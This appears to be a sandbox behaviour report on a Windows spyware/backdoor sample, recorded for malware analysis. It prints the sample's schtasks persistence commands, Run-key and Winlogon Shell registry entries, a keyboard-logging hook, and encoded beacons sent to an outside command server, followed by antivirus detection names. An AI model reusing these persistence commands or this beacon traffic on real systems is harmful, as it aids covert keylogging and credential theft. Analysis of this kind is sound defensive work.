cmdline "schtasks" /create /tn "smss" /sc ONLOGON /tr "'C:\Documents and Settings\smss.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "wininit" /sc ONLOGON /tr "'C:\Windows\System32\msihnd\wininit.exe'" /rl HIGHEST /f
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 668
thread_handle: 0x0000000000000354
process_identifier: 2760
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "winlogon" /sc ONLOGON /tr "'C:\Windows\System32\FXSMON\winlogon.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000000000000035c
1 1 0

CreateProcessInternalW

 thread_identifier: 1808
thread_handle: 0x0000000000000364
process_identifier: 2840
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "lsm" /sc ONLOGON /tr "'C:\Windows\System32\DShowRdpFilter\lsm.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x0000000000000370
1 1 0

CreateProcessInternalW

 thread_identifier: 1828
thread_handle: 0x0000000000000364
process_identifier: 1188
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "smss" /sc ONLOGON /tr "'C:\Documents and Settings\smss.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x0000000000000374
1 1 0

CreateProcessInternalW

 thread_identifier: 3052
thread_handle: 0x0000000000000380
process_identifier: 2984
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "wininit" /sc ONLOGON /tr "'C:\Windows\System32\msihnd\wininit.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x0000000000000388
1 1 0

CreateProcessInternalW

 thread_identifier: 1408
thread_handle: 0x00000000000002f0
process_identifier: 2740
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "pw" /sc ONLOGON /tr "'C:\Python27\README\pw.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x00000000000002ec
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Documents and Settings\smss.exe
parameters:
filepath: C:\Documents and Settings\smss.exe
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
cmdline "schtasks" /create /tn "pw" /sc ONLOGON /tr "'C:\Python27\README\pw.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "winlogon" /sc ONLOGON /tr "'C:\Windows\System32\FXSMON\winlogon.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "lsm" /sc ONLOGON /tr "'C:\Windows\System32\DShowRdpFilter\lsm.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "smss" /sc ONLOGON /tr "'C:\Documents and Settings\smss.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "wininit" /sc ONLOGON /tr "'C:\Windows\System32\msihnd\wininit.exe'" /rl HIGHEST /f
host 188.120.254.68
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell reg_value explorer.exe, "C:\Windows\System32\FXSMON\winlogon.exe"
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\winlogon reg_value "C:\Windows\System32\FXSMON\winlogon.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winlogon reg_value "C:\Windows\System32\FXSMON\winlogon.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell reg_value explorer.exe, "C:\Windows\System32\FXSMON\winlogon.exe", "C:\Windows\System32\DShowRdpFilter\lsm.exe"
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\lsm reg_value "C:\Windows\System32\DShowRdpFilter\lsm.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lsm reg_value "C:\Windows\System32\DShowRdpFilter\lsm.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell reg_value explorer.exe, "C:\Windows\System32\FXSMON\winlogon.exe", "C:\Windows\System32\DShowRdpFilter\lsm.exe", "C:\Documents and Settings\smss.exe"
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\smss reg_value "C:\Documents and Settings\smss.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss reg_value "C:\Documents and Settings\smss.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell reg_value explorer.exe, "C:\Windows\System32\FXSMON\winlogon.exe", "C:\Windows\System32\DShowRdpFilter\lsm.exe", "C:\Documents and Settings\smss.exe", "C:\Windows\System32\msihnd\wininit.exe"
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\wininit reg_value "C:\Windows\System32\msihnd\wininit.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wininit reg_value "C:\Windows\System32\msihnd\wininit.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell reg_value explorer.exe, "C:\Windows\System32\FXSMON\winlogon.exe", "C:\Windows\System32\DShowRdpFilter\lsm.exe", "C:\Documents and Settings\smss.exe", "C:\Windows\System32\msihnd\wininit.exe", "C:\Python27\README\pw.exe"
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\pw reg_value "C:\Python27\README\pw.exe"
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\pw reg_value "C:\Python27\README\pw.exe"
cmdline "schtasks" /create /tn "pw" /sc ONLOGON /tr "'C:\Python27\README\pw.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "winlogon" /sc ONLOGON /tr "'C:\Windows\System32\FXSMON\winlogon.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "lsm" /sc ONLOGON /tr "'C:\Windows\System32\DShowRdpFilter\lsm.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "smss" /sc ONLOGON /tr "'C:\Documents and Settings\smss.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "wininit" /sc ONLOGON /tr "'C:\Windows\System32\msihnd\wininit.exe'" /rl HIGHEST /f
Time & API Arguments Status Return Repeated

send

 buffer: GET /Autolocalscreen/phprecordpool/antiPythonCamlog/frame/Djangocore/framehtoprule/support/tracegame/poollog/recordframePython/htopbootplugindata/Pollgenerator.php?SA9CQiRcIWzannTU=yID&n7NmjTDGksvsOdT1nl=uB&06ecda78a6a1b96d5db7032822fd600d=af97fb4c2171c962f834f421bc24d6af&56d76a4877bf6096e52e2b9b2c725a7c=wY3AzM2ITM5YWNmljN3UDO4YDN5gjYjljMhZTO3M2YmZTOilTY2cjN&SA9CQiRcIWzannTU=yID&n7NmjTDGksvsOdT1nl=uB HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: 188.120.254.68 Connection: Keep-Alive
socket: 1184
sent: 629
1 629 0

send

 buffer: GET /Autolocalscreen/phprecordpool/antiPythonCamlog/frame/Djangocore/framehtoprule/support/tracegame/poollog/recordframePython/htopbootplugindata/Pollgenerator.php?SA9CQiRcIWzannTU=yID&n7NmjTDGksvsOdT1nl=uB&04e6ef400dffe4ad5b9e9bd4fda318ee=hFGZ4Y2MlBzMhFWY4ETZjZGZmhDNxEzMhZjZwUWNiVjNhJWMkBDMjRjM3YDO5MTO2IDOxMTN&56d76a4877bf6096e52e2b9b2c725a7c=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&59d2958dce619cc14e5d1ddb6fcbc0ee=d1nIjFGNihzNmRzYzQjY4YTYwIzN1UDNwIWZlJ2MkVjNzUWZ3QTZ3QzMmJiOikTNkRjYkhDZkRTOlJTOjNmZyQ2NzkDZlJWO4UmNlBTOiwiI0AzMmVGMwQzYwEmM5QWN3MWO4QGNkJGZ5QzMzQTMwM2YlBDN0MTM2IiOiAjZwgzNyM2YhRzMxUTO4YWN4MTM5gTM5UjN0UjNhlTNis3W&fa2a7d53b9adfa05bf211b128296b4e2=QX9JiI6ISMilzYhNTOlVjYiN2NmVmN2cjYiNmZzUzY0YzYwQjZiJCLiMWY0IGO3YGNjNDNihjNhBjM3UTN0AjYlVmYzQWN2MTZldDNldDNzYmI6ISO1QGNiRGOkRGN5UmM5M2YmJDZ3MTOkVmY5gTZ2UGM5ICLiQDMzYWZwADNjBTYykDZ1czY5gDZ0QmYklDNzMDNxAzYjVGM0QzMxYjI6ICMmBDO3IzYjFGNzETN5gjZ1gzMxkDOxkTN2QTN2EWO1Iyes0nI5oUajxGZXlVdGdFVnBzVZlHZyIWeCxWS2kUekZnUtJGckZkVEZ0aJNXSTdVavpWS1x2VitmRwMGcKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUarxWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJlWS2kUeSJkUsl0cJNEZwpURJBTWEl0T0VUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKNVWsp0MixkQDFGMWNjYUJ0UMdWUXpFcadVYqZ1RjpnQDRmd1sWS2kUealXOtl0cJN1T0UEVNV3Yq1Ee3lWT4FEVOV3Y61UavpWSqlzRil2dpl0U0tWS2k0UllnUuJWM5ITWpdXaJNnVzIGbOxWS2kUaiZHbyoFbK5WSzl0Uk5WMTl1dk1mY25EbJZTSTVGMsJTWpdXaJdXVU1UdRpXT4RzQPdXSqxUMjRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS5lERkpnVHRWavpWSsFzVZ9kSYpleWxWSzlUeRFVMp1UeRFTVGJFbJZTSTpFdG1GVEJEbJNXSD1Ee0kXT1FlaJZTSpNGbax2YsplbjxmTsl0cJlWZJRWRNRDNp10ZBVUSWJUMRdWQE1EMnRFTxs2RJBHMFZ1bV12Y25URJBXSGt0cWdEZ1x2aJZTSTpFdG1GVWJUMRl2dpl0dTl1NSlHN2ATYKdzZwwEb0pGcuJna3QXcENVUIplRJF0ULdzYHp1Np9maJxWMXl1TWZUVIp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjY5MWYzkTZ1ImYjdjZlZjN3ImYjZ2M1MGN2MGM0YmYiwiIwMjMwETYkJjM5QTNyU2N0YjYyETYmBjYwIjY4MjM5E2YyczNzgjM5IiOikTNkRjYkhDZkRTOlJTOjNmZyQ2NzkDZlJWO4UmNlBTOiwiI0AzMmVGMwQzYwEmM5QWN3MWO4QGNkJGZ5QzMzQTMwM2YlBDN0MTM2IiOiAjZwgzNyM2YhRzMxUTO4YWN4MTM5gTM5UjN0UjNhlTNis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: 188.120.254.68
socket: 1184
sent: 2212
1 2212 0

send

 buffer: GET /Autolocalscreen/phprecordpool/antiPythonCamlog/frame/Djangocore/framehtoprule/support/tracegame/poollog/recordframePython/htopbootplugindata/Pollgenerator.php?SA9CQiRcIWzannTU=yID&n7NmjTDGksvsOdT1nl=uB&04e6ef400dffe4ad5b9e9bd4fda318ee=hFGZ4Y2MlBzMhFWY4ETZjZGZmhDNxEzMhZjZwUWNiVjNhJWMkBDMjRjM3YDO5MTO2IDOxMTN&56d76a4877bf6096e52e2b9b2c725a7c=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&59d2958dce619cc14e5d1ddb6fcbc0ee=d1nIjFGNihzNmRzYzQjY4YTYwIzN1UDNwIWZlJ2MkVjNzUWZ3QTZ3QzMmJiOikTNkRjYkhDZkRTOlJTOjNmZyQ2NzkDZlJWO4UmNlBTOiwiI0AzMmVGMwQzYwEmM5QWN3MWO4QGNkJGZ5QzMzQTMwM2YlBDN0MTM2IiOiAjZwgzNyM2YhRzMxUTO4YWN4MTM5gTM5UjN0UjNhlTNis3W&fa2a7d53b9adfa05bf211b128296b4e2=QX9JiI6ISMilzYhNTOlVjYiN2NmVmN2cjYiNmZzUzY0YzYwQjZiJCLiMWY0IGO3YGNjNDNihjNhBjM3UTN0AjYlVmYzQWN2MTZldDNldDNzYmI6ISO1QGNiRGOkRGN5UmM5M2YmJDZ3MTOkVmY5gTZ2UGM5ICLiQDMzYWZwADNjBTYykDZ1czY5gDZ0QmYklDNzMDNxAzYjVGM0QzMxYjI6ICMmBDO3IzYjFGNzETN5gjZ1gzMxkDOxkTN2QTN2EWO1Iyes0nI5oUajxGZXlVdGdFVnBzVZlHZyIWeCxWS2kUekZnUtJGckZkVEZ0aJNXSTdVavpWS1x2VitmRwMGcKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUarxWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJlWS2kUeSJkUsl0cJNEZwpURJBTWEl0T0VUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKNVWsp0MixkQDFGMWNjYUJ0UMdWUXpFcadVYqZ1RjpnQDRmd1sWS2kUealXOtl0cJN1T0UEVNV3Yq1Ee3lWT4FEVOV3Y61UavpWSqlzRil2dpl0U0tWS2k0UllnUuJWM5ITWpdXaJNnVzIGbOxWS2kUaiZHbyoFbK5WSzl0Uk5WMTl1dk1mY25EbJZTSTVGMsJTWpdXaJdXVU1UdRpXT4RzQPdXSqxUMjRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS5lERkpnVHRWavpWSsFzVZ9kSYpleWxWSzlUeRFVMp1UeRFTVGJFbJZTSTpFdG1GVEJEbJNXSD1Ee0kXT1FlaJZTSpNGbax2YsplbjxmTsl0cJlWZJRWRNRDNp10ZBVUSWJUMRdWQE1EMnRFTxs2RJBHMFZ1bV12Y25URJBXSGt0cWdEZ1x2aJZTSTpFdG1GVWJUMRl2dpl0dTl1NSlHN2ATYKdzZwwEb0pGcuJna3QXcENVUIplRJF0ULdzYHp1Np9maJxWMXl1TWZUVIp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjY5MWYzkTZ1ImYjdjZlZjN3ImYjZ2M1MGN2MGM0YmYiwiIwMjMwETYkJjM5QTNyU2N0YjYyETYmBjYwIjY4MjM5E2YyczNzgjM5IiOikTNkRjYkhDZkRTOlJTOjNmZyQ2NzkDZlJWO4UmNlBTOiwiI0AzMmVGMwQzYwEmM5QWN3MWO4QGNkJGZ5QzMzQTMwM2YlBDN0MTM2IiOiAjZwgzNyM2YhRzMxUTO4YWN4MTM5gTM5UjN0UjNhlTNis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: 188.120.254.68
socket: 1184
sent: 2212
1 2212 0

send

 buffer: GET /Autolocalscreen/phprecordpool/antiPythonCamlog/frame/Djangocore/framehtoprule/support/tracegame/poollog/recordframePython/htopbootplugindata/Pollgenerator.php?SA9CQiRcIWzannTU=yID&n7NmjTDGksvsOdT1nl=uB&04e6ef400dffe4ad5b9e9bd4fda318ee=hFGZ4Y2MlBzMhFWY4ETZjZGZmhDNxEzMhZjZwUWNiVjNhJWMkBDMjRjM3YDO5MTO2IDOxMTN&56d76a4877bf6096e52e2b9b2c725a7c=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&59d2958dce619cc14e5d1ddb6fcbc0ee=d1nIjFGNihzNmRzYzQjY4YTYwIzN1UDNwIWZlJ2MkVjNzUWZ3QTZ3QzMmJiOikTNkRjYkhDZkRTOlJTOjNmZyQ2NzkDZlJWO4UmNlBTOiwiI0AzMmVGMwQzYwEmM5QWN3MWO4QGNkJGZ5QzMzQTMwM2YlBDN0MTM2IiOiAjZwgzNyM2YhRzMxUTO4YWN4MTM5gTM5UjN0UjNhlTNis3W&fa2a7d53b9adfa05bf211b128296b4e2=QX9JiI6ISMilzYhNTOlVjYiN2NmVmN2cjYiNmZzUzY0YzYwQjZiJCLiMWY0IGO3YGNjNDNihjNhBjM3UTN0AjYlVmYzQWN2MTZldDNldDNzYmI6ISO1QGNiRGOkRGN5UmM5M2YmJDZ3MTOkVmY5gTZ2UGM5ICLiQDMzYWZwADNjBTYykDZ1czY5gDZ0QmYklDNzMDNxAzYjVGM0QzMxYjI6ICMmBDO3IzYjFGNzETN5gjZ1gzMxkDOxkTN2QTN2EWO1Iyes0nI5oUajxGZXlVdGdFVnBzVZlHZyIWeCxWS2kUekZnUtJGckZkVEZ0aJNXSTdVavpWS1x2VitmRwMGcKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUarxWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJlWS2kUeSJkUsl0cJNEZwpURJBTWEl0T0VUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKNVWsp0MixkQDFGMWNjYUJ0UMdWUXpFcadVYqZ1RjpnQDRmd1sWS2kUealXOtl0cJN1T0UEVNV3Yq1Ee3lWT4FEVOV3Y61UavpWSqlzRil2dpl0U0tWS2k0UllnUuJWM5ITWpdXaJNnVzIGbOxWS2kUaiZHbyoFbK5WSzl0Uk5WMTl1dk1mY25EbJZTSTVGMsJTWpdXaJdXVU1UdRpXT4RzQPdXSqxUMjRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS5lERkpnVHRWavpWSsFzVZ9kSYpleWxWSzlUeRFVMp1UeRFTVGJFbJZTSTpFdG1GVEJEbJNXSD1Ee0kXT1FlaJZTSpNGbax2YsplbjxmTsl0cJlWZJRWRNRDNp10ZBVUSWJUMRdWQE1EMnRFTxs2RJBHMFZ1bV12Y25URJBXSGt0cWdEZ1x2aJZTSTpFdG1GVWJUMRl2dpl0dTl1NSlHN2ATYKdzZwwEb0pGcuJna3QXcENVUIplRJF0ULdzYHp1Np9maJxWMXl1TWZUVIp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjY5MWYzkTZ1ImYjdjZlZjN3ImYjZ2M1MGN2MGM0YmYiwiIwMjMwETYkJjM5QTNyU2N0YjYyETYmBjYwIjY4MjM5E2YyczNzgjM5IiOikTNkRjYkhDZkRTOlJTOjNmZyQ2NzkDZlJWO4UmNlBTOiwiI0AzMmVGMwQzYwEmM5QWN3MWO4QGNkJGZ5QzMzQTMwM2YlBDN0MTM2IiOiAjZwgzNyM2YhRzMxUTO4YWN4MTM5gTM5UjN0UjNhlTNis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: 188.120.254.68
socket: 1184
sent: 2212
1 2212 0
Time & API Arguments Status Return Repeated

SetWindowsHookExW

 thread_identifier: 0
callback_function: 0x00000000007e163c
hook_identifier: 13 (WH_KEYBOARD_LL)
module_address: 0x0000000000000000
1 7537371 0
file C:\Windows\System32\msihnd\wininit.exe:Zone.Identifier
file C:\Documents and Settings\smss.exe:Zone.Identifier
file C:\Windows\System32\DShowRdpFilter\lsm.exe:Zone.Identifier
file C:\Windows\System32\FXSMON\winlogon.exe:Zone.Identifier
file C:\Python27\README\pw.exe:Zone.Identifier
Elastic malicious (high confidence)
MicroWorld-eScan Gen:Variant.MSILHeracles.21615
FireEye Generic.mg.840eb0664fe0d3fa
CAT-QuickHeal Backdoor.MSIL
ALYac Gen:Variant.MSILHeracles.21615
Sangfor Trojan.Win32.Save.a
K7AntiVirus Spyware ( 0057a0d21 )
Alibaba Backdoor:MSIL/SpyNoon.bf791d98
K7GW Spyware ( 0057a0d21 )
Cybereason malicious.9dd56a
Arcabit Trojan.MSILHeracles.D546F
Cyren W32/MSIL_Agent.CBW.gen!Eldorado
Symantec ML.Attribute.HighConfidence
ESET-NOD32 a variant of MSIL/Spy.Agent.DFT
APEX Malicious
Paloalto generic.ml
ClamAV Win.Malware.Uztuby-9848412-0
Kaspersky HEUR:Backdoor.MSIL.LightStone.gen
BitDefender Gen:Variant.MSILHeracles.21615
Avast Win32:TrojanX-gen [Trj]
Ad-Aware Gen:Variant.MSILHeracles.21615
Emsisoft Gen:Variant.MSILHeracles.21615 (B)
Comodo TrojWare.Win32.UMal.mpqhe@0
DrWeb BackDoor.QuasarNET.5
TrendMicro TROJ_GEN.R002C0DGR21
McAfee-GW-Edition GenericRXJH-DC!840EB0664FE0
Sophos ML/PE-A + Mal/SpyNoon-A
SentinelOne Static AI - Malicious PE
Avira TR/Spy.Agent.hsuzm
eGambit Unsafe.AI_Score_99%
Kingsoft Win32.Hack.Undef.(kcloud)
Gridinsoft Spy.Win32.Agent.dd!n
Microsoft Trojan:MSIL/SpyNoon.RTU!MTB
GData Gen:Variant.MSILHeracles.21615
Cynet Malicious (score: 100)
AhnLab-V3 Trojan/Win.Generic.C4554853
McAfee GenericRXJH-DC!840EB0664FE0
MAX malware (ai score=82)
VBA32 TScope.Trojan.MSIL
Malwarebytes Trojan.PasswordStealer
TrendMicro-HouseCall TROJ_GEN.R002C0DGR21
Ikarus Win32.Outbreak
MaxSecure Trojan.Malware.300983.susgen
Fortinet MSIL/Agent.CVT!tr
BitDefenderTheta Gen:NN.ZemsilF.34050.dr0@aOZ8j0ni
AVG Win32:TrojanX-gen [Trj]
Panda Trj/GdSda.A
CrowdStrike win/malicious_confidence_90% (W)
Qihoo-360 Win32/Backdoor.LightStone.HgIASZMA